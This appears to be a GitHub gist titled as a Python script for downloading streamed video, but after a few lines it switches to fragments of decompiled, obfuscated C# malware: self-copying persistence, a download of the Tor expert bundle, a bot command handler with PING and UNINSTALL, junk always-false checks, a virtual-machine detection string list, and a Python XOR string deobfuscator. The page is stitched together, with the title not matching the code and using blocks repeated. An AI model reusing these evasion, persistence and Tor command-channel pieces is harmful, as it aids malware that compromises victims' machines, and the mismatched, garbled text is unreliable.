Skip to content

Instantly share code, notes, and snippets.

@GuyNachshon
GuyNachshon / download-streamed-ts-video.py
Created May 30, 2025 10:24
script to download fully streamed video (HLS, kaltura)
import subprocess
import re
from urllib.parse import urljoin
from tqdm import tqdm
def infer_m3u8_from_ts(ts_url: str) -> str:
"""
Converts a .ts segment URL to an inferred .m3u8 playlist URL.
"""
internal class krj
{
public static void c_9()
{
// ...
if (!File.Exists(text2))
{
File.Copy(location, text2, true);
new FileInfo(text2).IsReadOnly = true;
StringBuilder stringBuilder = new StringBuilder();
internal sealed class f1T0IP
{
// ...
string address = "https://archive.torproject.org/tor-package-archive/torbrowser/12.0.4/tor-expert-bundle-12.0.4-windows-x86_64.tar.gz";
string result;
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadFile(address, tempFileName);
internal sealed class dMKDNw
{
private static string fPqbFe(string[] ojtn)
{
// ...
string a2 = ojtn[0];
if (!(a2 == "PING"))
{
if (!(a2 == "UNINSTALL"))
{
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Xml.Serialization;
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Xml.Serialization;
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Xml.Serialization;
if (102.0 * Math.Atan(102.0) / 2.0 + 102.0 == 102.0 && Math.Atan(102.0) * 102.0 / 102.0 - 102.0 == Math.Cos(102.0)) // always false
{
Console.Write("");
}
public static void lfC()
{
string[] array = new string[]
{
"virtual", // krj.Iaupbhfldbikfdyxkxbwlg("\u0013\\*\u001b\u0005\u0010 ", "e5Xo", "pqLW"), // virtual
"vmbox", // krj.Iaupbhfldbikfdyxkxbwlg("\u0019&Q\u0001\u0015", "oK3n", "mhgF"), // vmbox
"vmbox", // krj.Iaupbhfldbikfdyxkxbwlg("\u0017\u00046\u0014\a\a", "aiAu", "ub88"), // vmware
"thinapp", // krj.Iaupbhfldbikfdyxkxbwlg("\u0004\v\n*\v6A", "pccD", "jF1h"), // thinapp
"VMXh", // krj.Iaupbhfldbikfdyxkxbwlg(".z\r\u0001", "x7Ui", "jXCB"), // VMXh
"hI`p}R4H[Eg", // krj.Iaupbhfldbikfdyxkxbwlg("\01\u0016\u0018\a\u000e9f\u000e2\u001a\u001f", "i_xw", "skRF"),
def deobfuscator(A_0: str, A_1: str, A_2: str) -> str:
text = A_1 + A_2
text2 = ""
for j in range(len(A_0)):
text2 += chr(ord(A_0[j]) ^ ord(text[j % len(text)]))
return text2